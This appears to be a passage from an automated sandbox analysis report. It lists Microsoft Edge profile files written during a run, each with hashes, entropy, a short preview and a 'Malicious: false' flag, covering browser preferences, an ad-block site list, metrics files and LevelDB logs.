Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\19eca544-fa81-469d-ad4e-8ad016675626.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44902
Entropy (8bit):	6.095847829508616
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWzAi1zNtfNNEpSFAcZHolKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn4NKKtSmd6qE7lFoC
MD5:	A13766125DAE3D17D040770B86F06470
SHA1:	5699DDFBD1F780D781C6F635FE42AFE55963A514
SHA-256:	06A9321C2A845B73D8DC98F6BDCA3FE2B8A69A0D016870609043F5E69CA594DF
SHA-512:	64A6DDD7C14606FEF332AEFF77817FB2F8C908462F78512EE65BC2EDD9CC692649D1E0255C3160D8AEA2C14F06EAE9F47BF481857C6023C40ECDF15F44FFAEE0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2f47805e-970c-4331-b469-a624e6e865cd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46416
Entropy (8bit):	6.087846420050762
Encrypted:	false
SSDEEP:	768:WMkbJrT8IeQc5S9Ribi1zNtfEPL8XA0nVY65Dk+bCiojJDSgzMMd6qD47u30T:WMk1rT8Hq9rxY65bFojtSmd6qE7l
MD5:	4A0111E753683C96BBD8C18ED4A0FAAC
SHA1:	8535D7E925FF5A213ADF35AFA324903BF45E7CE5
SHA-256:	BB253E41276A234535C60AA60A1D12F20C9789BDDCC2EC46B939061C7F841F62
SHA-512:	187EC2E34DA75E6B9A3D053AE230B407E1AF44E5B2ED84AB90F2B74009763E2EB6804EE99DFD3B38AEC0CD99C38CB4DAD915421B4DBE63AC9B88F4B7624B5BF5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376823401935736","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"535c4dd8-c88c-4d71-a2bf-d816c9f19bec"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\4e90d9bc-465a-4e3c-9930-649931e19af6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67418F69-1F88.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4971377458465298
Encrypted:	false
SSDEEP:	3072:o4m9Ilf+840WJB21g9MPkc9DafDzdGiaQYVdwYweUC9QqFw5Ltg1HF2:Q9ILD1g9Okc9sAG/beUC9QqFqLtaHo
MD5:	AA20CA8F4C2FFD3D920C0F6A1D94D60A
SHA1:	6732663667770128275EE0E331BCF64A7BE6D41C
SHA-256:	D1766E9B9F8546605427B27C5F3CCAEAC802A4BB9D95F22E3BABF8B6ABE3046B
SHA-512:	5FCA116E601E292F816324B6E670B2EBF4027BFAA906108E118642815A8B3235AF12E69E6839C99FE3FE1B0CF8736BABCB518AEE3D61F30169701ABDA03C0D00
Malicious:	false
Preview:	...@..@...@.....C.].....@..................X...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".ljckea20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........6...... .2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\16da3a90-f5b0-4143-b5c3-13cbd39e6ad7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17469), with no line terminators
Category:	dropped
Size (bytes):	17469
Entropy (8bit):	5.4789237473832735
Encrypted:	false
SSDEEP:	384:stEPGQSu4XsVhCD5zz54AuVIoSCbGu/QwNP3hP:sCOXuNhCN1QbGrqhP
MD5:	1278D9D787C73DC76B13A893D09D0421
SHA1:	FCC16BE499BA06DF3DCA378785DE9922BCBA378D
SHA-256:	91A610886472D778690DCF6CB0F53E6C8F8DC26A69CD890357AF79E9257B12D8
SHA-512:	4D09BE97A6CF078B19A277ABB804F58FDDA6C65D6E8D59241F08C7BA013612DF696C383BC9565E8D206F889B64978CB53772BB2A7A0D653B60D2196B5C206948
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376823401869777","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\173fda16-eaba-4d00-8b25-42127cc235d3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\18849994-b866-4644-b832-ae7c7d4b9b20.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\69e4e521-bd6d-4f5e-b019-0a4301119b2c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6fbf5e11-46e3-45cc-b3bc-7ed8ed81ecca.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9757
Entropy (8bit):	5.112725608636431
Encrypted:	false
SSDEEP:	192:stEkdpXsVhaFvrE9ke1il8xbV+Fm5/QAVJUh+PnYJ:stEQXsVhCD81bGu/QAqhP
MD5:	F08E8B2ACA62EF740323759B69662756
SHA1:	0928C0674ED771647AC332821B9CB3EB0201E893
SHA-256:	51F5FE2D8ADE31F6EF9651B02E777E1638BB4E6273A795B0D494503021A2A477
SHA-512:	81E6917F94BAF224293EAA7DA633FEEBAAD85EBE68EF8416AA8F529CEFEFED7BEEB3F9AF5610B50122DB9A4A2CBCEB6DCDE55836C8BDF8D49E54069727796CAB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376823401869777","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8c7af283-f49e-453e-bf0d-53e22ea2955b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17304), with no line terminators
Category:	dropped
Size (bytes):	17304
Entropy (8bit):	5.482210766865256
Encrypted:	false
SSDEEP:	384:stEPGQSu4XsVhCD5zz54AuVIoSCbGu/QwNQhP:sCOXuNhCN1QbGrvhP
MD5:	A50702625D88863A3ECF2BE6BE46998B
SHA1:	658F231451D10631FF8EAEB3EB772D58596A2D4F
SHA-256:	460759859FD265602C98BEE77C7396DC5344AF525C78BB27BE03BCE1AB403A87
SHA-512:	4AC132765067288780C0DF92184B4AF7AE9350AD2441E25D0DA1AA6916A48EDE300604815C434D6E9522E011E6FEEA97B8755F781812F5CABF8504AD2AFB3CA1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376823401869777","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.258156826940046
Encrypted:	false
SSDEEP:	6:HGLCnL1N723oH+Tcwtp3hBtB2KLlVGLCy+q2PN723oH+Tcwtp3hBWsIFUv:UcaYebp3dFLcT+vVaYebp3eFUv
MD5:	599A1D72EDC57A52244ECA745DDBE453
SHA1:	C29C5C96894F8BA05C9D75C7FF5F78CEEAD8D512
SHA-256:	6103641648C4BEEDC7DD94B2039F22A8A8E3AA8F225BD1918A4A90F51D6D0B97
SHA-512:	7C2DB01F038E1F8E70C83165B693AF9F728EE3FF7B1B329EE3DA25834D5CB44E828CF407BED67400FAC79A8C42DA39D5848D1A549F4D3B22AED0BDC7966F9455
Malicious:	false
Preview:	2024/11/23-03:16:46.550 1e9c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/23-03:16:46.559 1e9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.2228628583882575
Encrypted:	false
SSDEEP:	24576:IbPMZpVvfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVvfx2mjF
MD5:	9A3A6C14725DBD352516179B7BEA9EAE
SHA1:	1F36B75CD46B1039DB3A6E9FA3BFE13947BB46F5
SHA-256:	ABE358EC0FE8E6FDE2D058DB0EE0FE3BD04E1250E31A4AA42A344CCFD23A88BB
SHA-512:	2E9B2D80688BF642E7A73197C6E2D34F4DEF56865B6685A9BC25C07A6772BAC3518006CFEAD827C4D42E5282970EC03258D44BB535B7509E9A291B20C50ECCE0
Malicious:	false
